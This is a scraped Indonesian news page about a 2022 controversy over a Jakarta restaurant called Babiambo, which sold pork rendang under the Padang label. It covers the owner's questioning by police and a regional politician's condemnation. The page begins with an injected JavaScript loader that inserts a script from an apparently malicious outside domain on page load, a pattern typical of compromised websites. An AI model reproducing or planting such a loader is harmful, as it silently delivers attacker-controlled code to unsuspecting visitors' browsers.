(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
WARGA+62

Geger Menu Rendang Daging Babi, Pemilik Restoran Padang Babiambo Dibawa Polisi


KANALKALIMANTAN.COM – Polisi membawa pemilik restoran Padang Babiambo yang menjual rendang daging babi di Kelapa Gading, Jakarta Timur. Dia bawa ke kantor polisi untuk dimintai keterangan.

“Iya sudah dibawa ke Polsek untuk dimintai keterangan,” kata Kapolsek Kelapa Gading Kompol Vokky Sagala saat dikonfirmasi, Jumat (10/6/2022).

Jagat media sosial sempat digegerkan oleh beredarnya foto menu nasi babi yang dijual di gerai restoran Padang bernama Babiambo ini.

Banyak kalangan menilai menjual aneka olahan daging babi di rumah makan Padang adalah bentuk penghinaan.

 

Baca juga  : Aksi Tanam Pohon di Kawasan Pasar Sanjaya Kuala Kapuas

Untuk diketahui, rumah makan Padang lazimnya tidak menjual lauk berbahan dasar daging babi.

Dikutip dari SuaraSumbar.id pada Jumat (10/5/2022) restoran Padang Babiambo ini menjual bermacam menu olahan daging babi.

Misalnya rams sepsial babiambo yang terdiri dari nasi putih, babi gulai, babi rendang, sayung singkong dan sambal. Menu itu dihargai Rp48 ribu seporsi. Ada pula menu nasi babi bakar yang dihargai Rp 36 ribu. Selain itu, ada nasi babi rendang yang dijual seharga Rp40 ribu.

Ketua DPRD Kab Solok Dodi Hendra pun mengecam rumah makan Padang bernama Babiambo tersebut. Ia mengatakan, rumah makan itu sama saja menghina masyarakat Sumatra Barat.

 

Baca juga  : Digempur Era Digital, Taman Bacaan Ini Masih Bertahan dengan Buku Cerita Bergambar

“Saya selaku masyarakat Sumatera Barat tidak terima dengan adanya rumah makan Padang yang menjual babi” ujar Dodi Hendra.

Dodi menegaskan pada dasarnya tidak mempermasalahkan rumah makan yang menjual masakan aneka olahan daging babi, asalkan tidak memakai embel-embel ‘Padang’.

“Saya meminta Pemprov DKI Jakarta untuk bertindak serta mencabut izin rumah makan itu,” tegasnya.

Usai viral, pemilik usaha nasi Padang babi, Sergio, mengaku kaget. Menurutnya, bisnis tersebut telah lama tidak beroperasi.

 

Baca juga : Diskominfo Kapuas Minta Warnet Memblokir Konten Dewasa untuk Anak-anak

“Saya juga kaget (usahanya viral),” kata Sergio, Jumat (10/6/2022).

Ia menjelaskan bahwa usaha tersebut dimulai saat pandemi Corona atau awal 2020. Dia menyebut usahanya itu hanya berjalan sekitar 3 bulan.

“Sebelum Covid-19 belum. Sebenarnya akhir 2019, awal 2020. Jadi memang 3 bulannya sekitaran di situ. Belum lockdown sepertinya,” terang Sergio.

Untuk diketahui, gara-gara usaha tersebut, Sergio dibawa ke Polsek Kelapa Gading Jakarta untuk dimintai keterangan oleh pihak kepolisian.

Tak hanya itu, Sergio juga telah dipanggil oleh pihak kelurahan, kecamatan, dan Dinas Perindustrian Perdagangan DKI untuk membahas usaha kuliner tersebut. (Suara.com)

Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.